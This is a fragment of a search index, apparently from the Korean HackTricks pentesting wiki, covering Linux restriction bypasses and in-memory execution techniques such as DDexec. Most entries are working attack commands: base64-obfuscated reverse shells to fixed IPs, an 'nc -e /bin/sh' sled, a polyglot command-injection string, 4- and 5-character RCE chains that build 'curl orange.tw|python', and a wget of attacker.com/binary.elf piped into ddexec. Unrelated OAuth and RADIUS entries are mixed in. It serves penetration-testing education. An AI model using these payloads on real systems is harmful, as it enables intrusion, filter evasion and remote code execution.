5)\\nfind / -maxdepth 5 -type d -printf \\"%T@ %Tc | %p \\\\n\\" 2>/dev/null | grep -v \\"| /proc\\" | grep -v \\"| /dev\\" | grep -v \\"| /run\\" | grep -v \\"| /var/log\\" | grep -v \\"| /boot\\" | grep -v \\"| /sys/\\" | sort -n -r | less","breadcrumbs":"Useful Linux Commands » 찾기","id":"1921","title":"찾기"},"1922":{"body":"bash #Nmap scripts ((default or version) and smb))\\nnmap --script-help \\"(default or version) and *smb*\\"\\nlocate -r \'\\\\.nse$\' | xargs grep categories | grep \'default\\\\|version\\\\|safe\' | grep smb\\nnmap --script-help \\"(default or version) and smb)\\"","breadcrumbs":"Useful Linux Commands » Nmap 검색 도움말","id":"1922","title":"Nmap 검색 도움말"},"1923":{"body":"bash #All bytes inside a file (except 0x20 and 0x00)\\nfor j in $((for i in {0..9}{0..9} {0..9}{a..f} {a..f}{0..9} {a..f}{a..f}; do echo $i; done ) | sort | grep -v \\"20\\\\|00\\"); do echo -n -e \\"\\\\x$j\\" >> bytes; done","breadcrumbs":"Useful Linux Commands » 배시","id":"1923","title":"배시"},"1924":{"body":"bash #Delete curent rules and chains\\niptables --flush\\niptables --delete-chain #allow loopback\\niptables -A INPUT -i lo -j ACCEPT\\niptables -A OUTPUT -o lo -j ACCEPT #drop ICMP\\niptables -A INPUT -p icmp -m icmp --icmp-type any -j DROP\\niptables -A OUTPUT -p icmp -j DROP #allow established connections\\niptables -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT #allow ssh, http, https, dns\\niptables -A INPUT -s 10.10.10.10/24 -p tcp -m tcp --dport 22 -j ACCEPT\\niptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 80 -j ACCEPT\\niptables -A INPUT -p tcp -m state --state NEW -m tcp --dport 443 -j ACCEPT\\niptables -A INPUT -p udp -m udp --sport 53 -j ACCEPT\\niptables -A INPUT -p tcp -m tcp --sport 53 -j ACCEPT\\niptables -A OUTPUT -p udp -m udp --dport 53 -j ACCEPT\\niptables -A OUTPUT -p tcp -m tcp --dport 53 -j ACCEPT #default policies\\niptables -P INPUT DROP\\niptables -P FORWARD ACCEPT\\niptables -P OUTPUT ACCEPT tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Useful Linux Commands » Iptables","id":"1924","title":"Iptables"},"1925":{"body":"Reading time: 11 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Bypass Linux Restrictions » 리눅스 제한 우회","id":"1925","title":"리눅스 제한 우회"},"1926":{"body":"","breadcrumbs":"Bypass Linux Restrictions » 일반적인 제한 우회","id":"1926","title":"일반적인 제한 우회"},"1927":{"body":"bash # Double-Base64 is a great way to avoid bad characters like +, works 99% of the time\\necho \\"echo $(echo \'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1\' | base64 | base64)|ba\'\'se\'\'6\'\'4 -\'\'d|ba\'\'se\'\'64 -\'\'d|b\'\'a\'\'s\'\'h\\" | sed \'s/ /${IFS}/g\'\\n# echo${IFS}WW1GemFDQXRhU0ErSmlBdlpHVjJMM1JqY0M4eE1DNHhNQzR4TkM0NEx6UTBORFFnTUQ0bU1Rbz0K|ba\'\'se\'\'6\'\'4${IFS}-\'\'d|ba\'\'se\'\'64${IFS}-\'\'d|b\'\'a\'\'s\'\'h","breadcrumbs":"Bypass Linux Restrictions » 리버스 셸","id":"1927","title":"리버스 셸"},"1928":{"body":"bash #Trick from Dikline\\n#Get a rev shell with\\n(sh)0>/dev/tcp/10.10.10.10/443\\n#Then get the out of the rev shell executing inside of it:\\nexec >&0","breadcrumbs":"Bypass Linux Restrictions » 짧은 Rev 셸","id":"1928","title":"짧은 Rev 셸"},"1929":{"body":"bash # Question mark binary substitution\\n/usr/bin/p?ng # /usr/bin/ping\\nnma? -p 80 localhost # /usr/bin/nmap -p 80 localhost # Wildcard(*) binary substitution\\n/usr/bin/who*mi # /usr/bin/whoami # Wildcard + local directory arguments\\ntouch -- -la # -- stops processing options after the --\\nls *\\necho * #List current files and folders with echo and wildcard # [chars]\\n/usr/bin/n[c] # /usr/bin/nc # Quotes\\n\'p\'i\'n\'g # ping\\n\\"w\\"h\\"o\\"a\\"m\\"i # whoami\\nech\'\'o test # echo test\\nech\\"\\"o test # echo test\\nbas\'\'e64 # base64 #Backslashes\\n\\\\u\\\\n\\\\a\\\\m\\\\e \\\\-\\\\a # uname -a\\n/\\\\b\\\\i\\\\n/////s\\\\h # $@\\nwho$@ami #whoami # Transformations (case, reverse, base64)\\n$(tr \\"[A-Z]\\" \\"[a-z]\\"<<<\\"WhOaMi\\") #whoami -> Upper case to lower case\\n$(a=\\"WhOaMi\\";printf %s \\"${a,,}\\") #whoami -> transformation (only bash)\\n$(rev<<<\'imaohw\') #whoami\\nbash<<<$(base64 -d<< /tmp/[\\nchmod +x [\\nexport PATH=/tmp:$PATH\\nif [ \\"a\\" ]; then echo 1; fi # Will print hello!","breadcrumbs":"Bypass Linux Restrictions » 내장 명령어","id":"1938","title":"내장 명령어"},"1939":{"body":"bash 1;sleep${IFS}9;#${IFS}\';sleep${IFS}9;#${IFS}\\";sleep${IFS}9;#${IFS}\\n/*$(sleep 5)`sleep 5``*/-sleep(5)-\'/*$(sleep 5)`sleep 5` #*/-sleep(5)||\'\\"||sleep(5)||\\"/*`*/","breadcrumbs":"Bypass Linux Restrictions » 폴리글롯 명령 주입","id":"1939","title":"폴리글롯 명령 주입"},"194":{"body":"OAuth 2.0은 서비스 간 사용자 정보의 안전하고 선택적인 공유를 용이하게 하는 프로토콜입니다. 예를 들어, 여러 번 로그인하지 않고도 서비스가 Google의 사용자 데이터에 접근할 수 있게 합니다. 이 과정은 사용자 인증, 사용자의 권한 부여, Google에 의한 토큰 생성을 포함하여 서비스가 지정된 사용자 데이터에 접근할 수 있도록 합니다.","breadcrumbs":"Pentesting Network » Network Protocols Explained (ESP) » OAuth 2.0","id":"194","title":"OAuth 2.0"},"1940":{"body":"bash # A regex that only allow letters and numbers might be vulnerable to new line characters\\n1%0a`curl http://attacker.com`","breadcrumbs":"Bypass Linux Restrictions » 잠재적인 정규 표현식 우회","id":"1940","title":"잠재적인 정규 표현식 우회"},"1941":{"body":"bash # From https://github.com/Bashfuscator/Bashfuscator\\n./bashfuscator -c \'cat /etc/passwd\'","breadcrumbs":"Bypass Linux Restrictions » Bashfuscator","id":"1941","title":"Bashfuscator"},"1942":{"body":"bash # From the Organge Tsai BabyFirst Revenge challenge: https://github.com/orangetw/My-CTF-Web-Challenges#babyfirst-revenge\\n#Oragnge Tsai solution\\n## Step 1: generate `ls -t>g` to file \\"_\\" to be able to execute ls ordening names by cration date\\nhttp://host/?cmd=>ls\\\\\\nhttp://host/?cmd=ls>_\\nhttp://host/?cmd=>\\\\ \\\\\\nhttp://host/?cmd=>-t\\\\\\nhttp://host/?cmd=>\\\\>g\\nhttp://host/?cmd=ls>>_ ## Step2: generate `curl orange.tw|python` to file \\"g\\"\\n## by creating the necesary filenames and writting that content to file \\"g\\" executing the previous generated file\\nhttp://host/?cmd=>on\\nhttp://host/?cmd=>th\\\\\\nhttp://host/?cmd=>py\\\\\\nhttp://host/?cmd=>\\\\|\\\\\\nhttp://host/?cmd=>tw\\\\\\nhttp://host/?cmd=>e.\\\\\\nhttp://host/?cmd=>ng\\\\\\nhttp://host/?cmd=>ra\\\\\\nhttp://host/?cmd=>o\\\\\\nhttp://host/?cmd=>\\\\ \\\\\\nhttp://host/?cmd=>rl\\\\\\nhttp://host/?cmd=>cu\\\\\\nhttp://host/?cmd=sh _\\n# Note that a \\"\\\\\\" char is added at the end of each filename because \\"ls\\" will add a new line between filenames whenwritting to the file ## Finally execute the file \\"g\\"\\nhttp://host/?cmd=sh g # Another solution from https://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/\\n# Instead of writing scripts to a file, create an alphabetically ordered the command and execute it with \\"*\\"\\nhttps://infosec.rm-it.de/2017/11/06/hitcon-2017-ctf-babyfirst-revenge/\\n## Execute tar command over a folder\\nhttp://52.199.204.34/?cmd=>tar\\nhttp://52.199.204.34/?cmd=>zcf\\nhttp://52.199.204.34/?cmd=>zzz\\nhttp://52.199.204.34/?cmd=*%20/h* # Another curiosity if you can read files of the current folder\\nln /f*\\n## If there is a file /flag.txt that will create a hard link\\n## to it in the current folder","breadcrumbs":"Bypass Linux Restrictions » 5자로 RCE","id":"1942","title":"5자로 RCE"},"1943":{"body":"bash # In a similar fashion to the previous bypass this one just need 4 chars to execute commands\\n# it will follow the same principle of creating the command `ls -t>g` in a file\\n# and then generate the full command in filenames\\n# generate \\"g> ht- sl\\" to file \\"v\\"\\n\'>dir\'\\n\'>sl\'\\n\'>g\\\\>\'\\n\'>ht-\'\\n\'*>v\' # reverse file \\"v\\" to file \\"x\\", content \\"ls -th >g\\"\\n\'>rev\'\\n\'*v>x\' # generate \\"curl orange.tw|python;\\"\\n\'>\\\\;\\\\\\\\\'\\n\'>on\\\\\\\\\'\\n\'>th\\\\\\\\\'\\n\'>py\\\\\\\\\'\\n\'>\\\\|\\\\\\\\\'\\n\'>tw\\\\\\\\\'\\n\'>e.\\\\\\\\\'\\n\'>ng\\\\\\\\\'\\n\'>ra\\\\\\\\\'\\n\'>o\\\\\\\\\'\\n\'>\\\\ \\\\\\\\\'\\n\'>rl\\\\\\\\\'\\n\'>cu\\\\\\\\\' # got shell\\n\'sh x\'\\n\'sh g\'","breadcrumbs":"Bypass Linux Restrictions » 4자 RCE","id":"1943","title":"4자 RCE"},"1944":{"body":"파일 시스템이 읽기 전용 및 noexec 보호 가 적용되어 있거나 심지어 distroless 컨테이너에 있는 경우에도 임의의 바이너리, 심지어 셸을 실행할 수 있는 방법이 있습니다!: Bypass FS protections: read-only / no-exec / Distroless","breadcrumbs":"Bypass Linux Restrictions » Read-Only/Noexec/Distroless Bypass","id":"1944","title":"Read-Only/Noexec/Distroless Bypass"},"1945":{"body":"Escaping from Jails","breadcrumbs":"Bypass Linux Restrictions » Chroot & other Jails Bypass","id":"1945","title":"Chroot & other Jails Bypass"},"1946":{"body":"취약점이 system() 또는 다른 셸에 도달하는 인수를 부분적으로 제어할 수 있게 해줄 때, 실행이 페이로드를 읽기 시작하는 정확한 오프셋을 알지 못할 수 있습니다. 전통적인 NOP 슬레드(예: \\\\x90)는 셸 구문에서 작동하지 않지만 , Bash는 명령을 실행하기 전에 선행 공백을 무해하게 무시합니다. 따라서 실제 명령 앞에 긴 공백 또는 탭 문자의 시퀀스를 추가하여 Bash용 NOP 슬레드 를 만들 수 있습니다: bash # Payload sprayed into an environment variable / NVRAM entry\\n\\" nc -e /bin/sh 10.0.0.1 4444\\"\\n# 16× spaces ───┘ ↑ real command ROP 체인(또는 기타 메모리 손상 원시)이 공간 블록 내의 어느 곳에든 명령 포인터를 배치하면, Bash 파서는 단순히 공백을 건너뛰고 nc에 도달하여 명령을 신뢰성 있게 실행합니다. 실용적인 사용 사례: 메모리 매핑된 구성 블롭 (예: NVRAM)으로 프로세스 간에 접근 가능. 공격자가 페이로드를 정렬하기 위해 NULL 바이트를 쓸 수 없는 상황. BusyBox ash/sh만 사용할 수 있는 임베디드 장치 – 이들은 또한 선행 공백을 무시합니다. 🛠️ 이 트릭을 system()을 호출하는 ROP 가젯과 결합하여 메모리 제약이 있는 IoT 라우터에서 익스플로잇의 신뢰성을 극적으로 증가시킵니다.","breadcrumbs":"Bypass Linux Restrictions » Space-Based Bash NOP Sled (\\"Bashsledding\\")","id":"1946","title":"Space-Based Bash NOP Sled (\\"Bashsledding\\")"},"1947":{"body":"https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#exploits https://github.com/Bo0oM/WAF-bypass-Cheat-Sheet https://medium.com/secjuice/web-application-firewall-waf-evasion-techniques-2-125995f3e7b0 https://www.secjuice.com/web-application-firewall-waf-evasion/ 버려진 하드웨어에서 제로 데이 익스플로잇하기 – Trail of Bits 블로그 tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Bypass Linux Restrictions » 참고 문헌 및 추가 자료","id":"1947","title":"참고 문헌 및 추가 자료"},"1948":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » FS 보호 우회: 읽기 전용 / 실행 금지 / Distroless","id":"1948","title":"FS 보호 우회: 읽기 전용 / 실행 금지 / Distroless"},"1949":{"body":"다음 비디오에서는 이 페이지에 언급된 기술을 더 깊이 설명합니다: DEF CON 31 - Exploring Linux Memory Manipulation for Stealth and Evasion Stealth intrusions with DDexec-ng & in-memory dlopen() - HackTricks Track 2023","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » 비디오","id":"1949","title":"비디오"},"195":{"body":"RADIUS (원격 인증 다이얼인 사용자 서비스)는 주로 ISP에서 사용되는 네트워크 접근 프로토콜입니다. 이는 인증, 권한 부여 및 회계를 지원합니다. 사용자 자격 증명은 RADIUS 서버에 의해 검증되며, 추가 보안을 위해 네트워크 주소 검증이 포함될 수 있습니다. 인증 후, 사용자는 네트워크 접근을 받고 세션 세부정보는 청구 및 통계 목적으로 추적됩니다.","breadcrumbs":"Pentesting Network » Network Protocols Explained (ESP) » RADIUS","id":"195","title":"RADIUS"},"1950":{"body":"리눅스 머신이 읽기 전용 (ro) 파일 시스템 보호 로 마운트되는 경우가 점점 더 많아지고 있습니다. 특히 컨테이너에서 그렇습니다. 이는 **readOnlyRootFilesystem: true**를 securitycontext에 설정하는 것만으로도 컨테이너를 ro 파일 시스템으로 실행할 수 있기 때문입니다: apiVersion: v1\\nkind: Pod\\nmetadata:\\nname: alpine-pod\\nspec:\\ncontainers:\\n- name: alpine\\nimage: alpine\\nsecurityContext: readOnlyRootFilesystem: true command: [\\"sh\\", \\"-c\\", \\"while true; do sleep 1000; done\\"] 그러나 파일 시스템이 ro로 마운트되더라도 **/dev/shm**는 여전히 쓰기가 가능하므로 디스크에 아무것도 쓸 수 없다는 것은 잘못된 정보입니다. 그러나 이 폴더는 실행 금지 보호 로 마운트되므로 여기에서 바이너리를 다운로드하면 실행할 수 없습니다 . warning 레드 팀 관점에서 볼 때, 이는 시스템에 이미 없는 바이너리(예: 백도어 또는 kubectl과 같은 열거기)를 다운로드하고 실행하는 것을 복잡하게 만듭니다 .","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » 읽기 전용 / 실행 금지 시나리오","id":"1950","title":"읽기 전용 / 실행 금지 시나리오"},"1951":{"body":"바이너리를 언급했지만, 기계 내부에 인터프리터가 있는 한 어떤 스크립트든 실행할 수 있습니다 . 예를 들어, sh가 있는 경우 셸 스크립트 를 실행하거나 python이 설치된 경우 파이썬 스크립트 를 실행할 수 있습니다. 그러나 이것만으로는 바이너리 백도어나 실행해야 할 다른 바이너리 도구를 실행하기에 충분하지 않습니다.","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » 가장 쉬운 우회: 스크립트","id":"1951","title":"가장 쉬운 우회: 스크립트"},"1952":{"body":"바이너리를 실행하고 싶지만 파일 시스템이 이를 허용하지 않는 경우, 가장 좋은 방법은 메모리에서 실행하는 것 입니다. 왜냐하면 그곳에서는 보호가 적용되지 않기 때문입니다 .","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » 메모리 우회","id":"1952","title":"메모리 우회"},"1953":{"body":"기계 내부에 Python , Perl 또는 Ruby 와 같은 강력한 스크립트 엔진이 있는 경우, 메모리에서 실행할 바이너리를 다운로드하고, 메모리 파일 설명자(create_memfd 시스템 호출)에 저장할 수 있습니다. 이는 이러한 보호에 의해 보호되지 않으며, 그런 다음 exec 시스템 호출 을 호출하여 실행할 파일로 fd를 지정 합니다. 이를 위해 fileless-elf-exec 프로젝트를 쉽게 사용할 수 있습니다. 바이너리를 전달하면 바이너리가 압축되고 b64 인코딩된 스크립트를 지정된 언어로 생성하며, fd 를 생성하기 위해 create_memfd 시스템 호출을 호출하고 이를 실행하기 위해 exec 시스템 호출을 호출하는 지침이 포함됩니다. warning 이는 PHP나 Node와 같은 다른 스크립팅 언어에서는 작동하지 않습니다. 왜냐하면 이들 언어는 스크립트에서 원시 시스템 호출을 호출하는 기본 방법이 없기 때문입니다 . 따라서 바이너리를 저장할 메모리 fd 를 생성하기 위해 create_memfd를 호출할 수 없습니다. 또한, /dev/shm에 있는 파일로 일반 fd 를 생성하는 것은 작동하지 않습니다. 왜냐하면 실행 금지 보호 가 적용되기 때문에 이를 실행할 수 없기 때문입니다.","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » FD + exec 시스템 호출 우회","id":"1953","title":"FD + exec 시스템 호출 우회"},"1954":{"body":"DDexec / EverythingExec 기술은 자신의 프로세스 메모리를 수정 하여 **/proc/self/mem**을 덮어쓰는 것을 허용합니다. 따라서 프로세스에서 실행되는 어셈블리 코드를 제어 함으로써, 셸코드 를 작성하고 프로세스를 \\"변형\\"하여 임의의 코드를 실행 할 수 있습니다. tip DDexec / EverythingExec 를 사용하면 메모리 에서 자신의 셸코드 또는 어떤 바이너리든 로드하고 실행 할 수 있습니다. bash # Basic example\\nwget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo bar 더 많은 정보는 이 기술에 대해 Github를 확인하거나: DDexec / EverythingExec","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » DDexec / EverythingExec","id":"1954","title":"DDexec / EverythingExec"},"1955":{"body":"Memexec 는 DDexec의 자연스러운 다음 단계입니다. 다른 바이너리 를 실행 하고 싶을 때마다 DDexec를 다시 시작할 필요 없이, DDexec 기술을 통해 memexec 셸코드를 실행하고 이 데몬과 통신하여 새 바이너리를 로드하고 실행 할 수 있습니다. memexec를 사용하여 PHP 리버스 셸에서 바이너리를 실행하는 방법 에 대한 예시는 https://github.com/arget13/memexec/blob/main/a.php 에서 확인할 수 있습니다.","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » MemExec","id":"1955","title":"MemExec"},"1956":{"body":"DDexec와 유사한 목적을 가진 memdlopen 기술은 메모리에 바이너리를 로드하는 더 쉬운 방법 을 제공합니다. 이는 의존성이 있는 바이너리도 로드할 수 있게 해줄 수 있습니다.","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » Memdlopen","id":"1956","title":"Memdlopen"},"1957":{"body":"","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » Distroless Bypass","id":"1957","title":"Distroless Bypass"},"1958":{"body":"Distroless 컨테이너는 특정 애플리케이션이나 서비스 실행에 필요한 최소한의 구성 요소 만 포함하고 있으며, 패키지 관리자, 셸 또는 시스템 유틸리티와 같은 더 큰 구성 요소는 제외합니다. Distroless 컨테이너의 목표는 불필요한 구성 요소를 제거하여 컨테이너의 공격 표면을 줄이고 악용될 수 있는 취약점의 수를 최소화하는 것입니다.","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » Distroless란 무엇인가","id":"1958","title":"Distroless란 무엇인가"},"1959":{"body":"Distroless 컨테이너에서는 **정상적인 셸을 얻기 위해 sh 또는 bash**를 찾을 수 없을 수도 있습니다. ls, whoami, id와 같은 바이너리도 찾을 수 없습니다... 시스템에서 일반적으로 실행하는 모든 것입니다. warning 따라서, 리버스 셸 을 얻거나 시스템을 열거 할 수 없습니다 . 그러나 손상된 컨테이너가 예를 들어 flask 웹을 실행하고 있다면, 파이썬이 설치되어 있으므로 Python 리버스 셸 을 얻을 수 있습니다. 노드를 실행하고 있다면 Node 리버스 셸을 얻을 수 있으며, 대부분의 스크립팅 언어 와 마찬가지입니다. tip 스크립팅 언어를 사용하여 언어의 기능을 활용하여 시스템을 열거 할 수 있습니다. 읽기 전용/실행 금지 보호가 없다면 , 리버스 셸을 악용하여 파일 시스템에 바이너리를 작성 하고 실행 할 수 있습니다. tip 그러나 이러한 종류의 컨테이너에서는 이러한 보호가 일반적으로 존재하지만, 이전 메모리 실행 기술을 사용하여 우회할 수 있습니다 . RCE 취약점을 악용하여 스크립팅 언어의 리버스 셸을 얻고 메모리에서 바이너리를 실행하는 방법 에 대한 예시 는 https://github.com/carlospolop/DistrolessRCE 에서 확인할 수 있습니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » 리버스 셸","id":"1959","title":"리버스 셸"},"196":{"body":"","breadcrumbs":"Pentesting Network » Network Protocols Explained (ESP) » SMB 및 NetBIOS","id":"196","title":"SMB 및 NetBIOS"},"1960":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » DDexec / EverythingExec » DDexec / EverythingExec","id":"1960","title":"DDexec / EverythingExec"},"1961":{"body":"리눅스에서 프로그램을 실행하려면 파일로 존재해야 하며, 파일 시스템 계층을 통해 어떤 방식으로든 접근 가능해야 합니다(이는 execve()가 작동하는 방식입니다). 이 파일은 디스크에 있거나 램(tmpfs, memfd)에 있을 수 있지만, 파일 경로가 필요합니다. 이로 인해 리눅스 시스템에서 실행되는 것을 쉽게 제어할 수 있으며, 위협 및 공격자의 도구를 감지하거나 그들이 아무것도 실행하지 못하도록 방지하는 것이 용이합니다(_예: 비특권 사용자가 실행 파일을 아무 곳에나 배치하는 것을 허용하지 않음). 하지만 이 기술은 모든 것을 바꾸기 위해 존재합니다. 원하는 프로세스를 시작할 수 없다면... 이미 존재하는 프로세스를 탈취합니다 . 이 기술은 읽기 전용, noexec, 파일 이름 화이트리스트, 해시 화이트리스트와 같은 일반적인 보호 기술을 우회할 수 있게 해줍니다 .","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » DDexec / EverythingExec » Context","id":"1961","title":"Context"},"1962":{"body":"최종 스크립트는 작동하기 위해 다음 도구에 의존하며, 공격하는 시스템에서 접근 가능해야 합니다(기본적으로 모든 곳에서 이들을 찾을 수 있습니다): dd\\nbash | zsh | ash (busybox)\\nhead\\ntail\\ncut\\ngrep\\nod\\nreadlink\\nwc\\ntr\\nbase64","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » DDexec / EverythingExec » Dependencies","id":"1962","title":"Dependencies"},"1963":{"body":"프로세스의 메모리를 임의로 수정할 수 있다면, 해당 프로세스를 장악할 수 있습니다. 이는 이미 존재하는 프로세스를 가로채고 다른 프로그램으로 교체하는 데 사용될 수 있습니다. 우리는 ptrace() 시스템 호출을 사용하거나 (이는 시스템에서 시스템 호출을 실행할 수 있는 능력이나 gdb가 필요합니다) 더 흥미롭게도 /proc/$pid/mem에 쓰는 방법으로 이를 달성할 수 있습니다. 파일 /proc/$pid/mem은 프로세스의 전체 주소 공간의 1:1 매핑입니다 (_예: x86-64에서 0x0000000000000000에서 0x7ffffffffffff000까지). 이는 오프셋 x에서 이 파일을 읽거나 쓰는 것이 가상 주소 x에서 내용을 읽거나 수정하는 것과 동일하다는 것을 의미합니다. 이제 우리는 네 가지 기본 문제에 직면하게 됩니다: 일반적으로 루트와 파일의 프로그램 소유자만 수정할 수 있습니다. ASLR. 프로그램의 주소 공간에 매핑되지 않은 주소를 읽거나 쓰려고 하면 I/O 오류가 발생합니다. 이 문제들은 완벽하지는 않지만 좋은 해결책이 있습니다: 대부분의 셸 인터프리터는 자식 프로세스가 상속받을 파일 설명자를 생성할 수 있도록 허용합니다. 우리는 쓰기 권한이 있는 셸의 mem 파일을 가리키는 fd를 생성할 수 있습니다... 따라서 해당 fd를 사용하는 자식 프로세스는 셸의 메모리를 수정할 수 있습니다. ASLR은 문제도 아닙니다. 우리는 셸의 maps 파일이나 procfs의 다른 파일을 확인하여 프로세스의 주소 공간에 대한 정보를 얻을 수 있습니다. 따라서 우리는 파일에서 lseek()를 수행해야 합니다. 셸에서는 악명 높은 dd를 사용하지 않고는 이를 수행할 수 없습니다.","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » DDexec / EverythingExec » 기술","id":"1963","title":"기술"},"1964":{"body":"단계는 상대적으로 쉽고 이해하는 데 어떤 전문 지식도 필요하지 않습니다: 실행할 바이너리와 로더를 파싱하여 필요한 매핑을 찾습니다. 그런 다음, 대략적으로 커널이 execve()를 호출할 때 수행하는 것과 동일한 단계를 수행하는 \\"셸\\" 코드를 작성합니다: 해당 매핑을 생성합니다. 바이너리를 그 안으로 읽어들입니다. 권한을 설정합니다. 마지막으로 프로그램의 인수로 스택을 초기화하고 로더에 필요한 보조 벡터를 배치합니다. 로더로 점프하여 나머지를 수행하게 합니다 (프로그램에 필요한 라이브러리를 로드합니다). 실행 중인 시스템 호출 후 프로세스가 반환할 주소를 syscall 파일에서 가져옵니다. 해당 위치를 덮어씌우고, 이는 실행 가능하며, 우리의 셸코드로 대체합니다 (우리는 mem을 통해 쓰기 불가능한 페이지를 수정할 수 있습니다). 실행할 프로그램을 프로세스의 stdin으로 전달합니다 (해당 \\"셸\\" 코드에 의해 read()됩니다). 이 시점에서 로더는 프로그램에 필요한 라이브러리를 로드하고 그 안으로 점프하는 역할을 합니다. 도구를 확인하세요 https://github.com/arget13/DDexec","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » DDexec / EverythingExec » 더 자세히","id":"1964","title":"더 자세히"},"1965":{"body":"dd에 대한 여러 대안이 있으며, 그 중 하나인 tail은 현재 mem 파일을 통해 lseek()하는 데 사용되는 기본 프로그램입니다 (이는 dd를 사용하는 유일한 목적이었습니다). 이러한 대안은: bash tail\\nhexdump\\ncmp\\nxxd 변수 SEEKER를 설정하면 사용되는 seeker를 변경할 수 있습니다, 예: : bash SEEKER=cmp bash ddexec.sh ls -l <<< $(base64 -w0 /bin/ls) 스크립트에 구현되지 않은 다른 유효한 seeker를 찾으면 SEEKER_ARGS 변수를 설정하여 여전히 사용할 수 있습니다: bash SEEKER=xxd SEEKER_ARGS=\'-s $offset\' zsh ddexec.sh ls -l <<< $(base64 -w0 /bin/ls) 이것을 차단하세요, EDRs.","breadcrumbs":"Bypass Linux Restrictions » Bypass FS protections: read-only / no-exec / Distroless » DDexec / EverythingExec » EverythingExec","id":"1965","title":"EverythingExec"},"1966":{"body":"https://github.com/arget13/DDexec tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 